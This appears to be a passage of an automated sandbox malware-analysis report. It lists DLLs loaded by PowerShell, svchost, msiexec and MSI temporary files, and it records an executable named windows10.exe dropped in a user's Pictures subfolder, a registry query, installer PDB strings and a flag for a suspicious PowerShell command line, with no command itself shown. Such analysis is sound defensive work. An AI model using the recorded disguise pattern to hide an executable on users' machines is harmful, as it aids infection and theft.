Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F24.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F35.tmp	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F35.tmp	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F35.tmp	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F35.tmp	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F35.tmp	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\Installer\MSI7F35.tmp	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: starburn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: magnification.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: d3d9.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: slwga.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: schedcli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: security.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: olepro32.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: activeds.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: adsldpc.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dxva2.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: idndl.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\Pictures\fotosdaviagem\windows10.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\Installer\MSI7F24.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdbC source: MSI7F24.tmp, 00000009.00000000.1729334915.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F24.tmp, 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F35.tmp, 0000000A.00000000.1729687428.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F35.tmp, 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F24.tmp.7.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: MSI7C03.tmp.7.dr, MSI7B56.tmp.7.dr, MSI7CC1.tmp.7.dr, MSI7C43.tmp.7.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\viewer.pdb source: MSI7F24.tmp, 00000009.00000000.1729334915.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F24.tmp, 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmp, MSI7F35.tmp, 0000000A.00000000.1729687428.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F35.tmp, 0000000A.00000002.2867198509.000000000084D000.00000002.00000001.01000000.00000007.sdmp, MSI7F24.tmp.7.dr

Data Obfuscation

Suspicious powershell command line found

